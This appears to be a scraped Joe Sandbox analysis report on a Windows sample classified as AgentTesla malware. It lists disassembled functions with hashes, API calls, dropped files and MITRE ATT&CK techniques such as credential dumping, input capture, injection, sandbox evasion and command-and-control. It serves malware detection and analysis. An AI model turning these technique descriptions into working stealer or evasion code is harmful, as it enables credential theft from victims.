String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: cee74e6166c22afb1528435cf8d873bfd15a52afa5d38579a12ebf9fa397883b
Instruction ID: f3ce5788d656a8643a3e1dcdc99052c8cf24be2c2df0db4d855a8fb80371383f
Opcode Fuzzy Hash: cee74e6166c22afb1528435cf8d873bfd15a52afa5d38579a12ebf9fa397883b
Instruction Fuzzy Hash: D5B15C34A01208CFEB18DF65C994B9EB7B6FF88344F2485A9E405AB355DB75DC82CB81

Function 389C8AC0 Relevance: 5.3, Strings: 4, Instructions: 262COMMON

Download Yara Rule

Strings

DR]5, xrefs: 389C8C82
T]5, xrefs: 389C8CB9
XM, xrefs: 389C8E4F
XM, xrefs: 389C8D45

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: DR]5$XM$XM$T]5
API String ID: 0-1928459452
Opcode ID: a6b0598e764d14703582eb7d3797bc1dba6e7c2716896c2f37d68de9ba5546ce
Instruction ID: cead8d780763ea197635fba802dc20bdcc214f6335187b0d1222adac7c3e90a0
Opcode Fuzzy Hash: a6b0598e764d14703582eb7d3797bc1dba6e7c2716896c2f37d68de9ba5546ce
Instruction Fuzzy Hash: E3A14974B013198FEB14DF78C850BAEBBB2BF89300F5045A9D509AB355DA319D86CB91

Function 389C8888 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LRq, xrefs: 389C89CA
LRq, xrefs: 389C897B
$q, xrefs: 389C8913
$q, xrefs: 389C8907

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: LRq$LRq$$q$$q
API String ID: 0-2204215535
Opcode ID: ccc4471b5ec812b764075836da9f67a8aba993a0c0b96c2cc4284c2dcf802070
Instruction ID: db95487e53294561d896b906bc83e10d6f1f42b4d692d287ebaacaef3c55d5bb
Opcode Fuzzy Hash: ccc4471b5ec812b764075836da9f67a8aba993a0c0b96c2cc4284c2dcf802070
Instruction Fuzzy Hash: 7251BF34B003059FEB18DB69C851B6AB7F6BF88304F1485A9E505AF3A5DA32EC41CB52

Function 389CAD5D Relevance: 5.2, Strings: 4, Instructions: 157COMMON

Download Yara Rule

Strings

$q, xrefs: 389CAF2C
$q, xrefs: 389CAF03
$q, xrefs: 389CAE81
$q, xrefs: 389CAED4

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: fd6e2a78e1d6fb2e3d6725b6e0dace3060bdd9660c5d6f27b751ac712acc77ba
Instruction ID: 0c40b2e98a86de4d3774cf68d5aa4fc233a940cea9eccb4f8e63e04f87e3f5da
Opcode Fuzzy Hash: fd6e2a78e1d6fb2e3d6725b6e0dace3060bdd9660c5d6f27b751ac712acc77ba
Instruction Fuzzy Hash: 195191B4A00204CFEB15DF64D490A9EB7F6EB88355F608529E405EB355DB32EC42CB92

Function 389CBCF8 Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

(\]5, xrefs: 389CBBDA
$q, xrefs: 389CBC6D
$q, xrefs: 389CBCA1
(\]5, xrefs: 389CBCCE

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: (\]5$(\]5$$q$$q
API String ID: 0-2074910076
Opcode ID: 4a2049dd199740b28f51e18efa181a8069ebf0a02090c79d3321293c0f39b490
Instruction ID: 374bcfb0d64eb75afd15a601f3c683f937359dbde809f6a7f9cbb0ba9d36e870
Opcode Fuzzy Hash: 4a2049dd199740b28f51e18efa181a8069ebf0a02090c79d3321293c0f39b490
Instruction Fuzzy Hash: 60414C75E80309CFDB14CFA8D98069DB7B2FF84314B50495AE805AB254DF72AD42CB82

Function 004058E4 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000), ref: 004058F4
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040590C
CharNextA.USER32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000), ref: 0040591D
lstrlenA.KERNEL32(00000000,?,00000000,00405B41,00000000,[Rename],00000000,00000000,00000000), ref: 00405926

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 7adaab352aa717b916c044831a99f4991ef712c09a2c9b56ba9fed1a583d178e
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: 43F09636505518FFC7129FA5DC0099EBBB8EF16360B2540B9F801F7360D674EE019BA9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3Pd480eWHA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\Allertydeligst.Bas

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\Unfraternizing13.Vil

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\absumption.kor

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\autographist.udd

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\hornfisks.woo

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\lighty.sto

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\nonarbitrable.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\spokesmen.thr

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\stumprumpet.und

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit\uhviskes.com

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
3Pd480eWHA.exe

Function 004030EC Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Function 00405063 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D2E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 004055AE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Function 00403A1E Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 0040368C Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00404F25 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 004053EB Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00406037 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004059AE Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre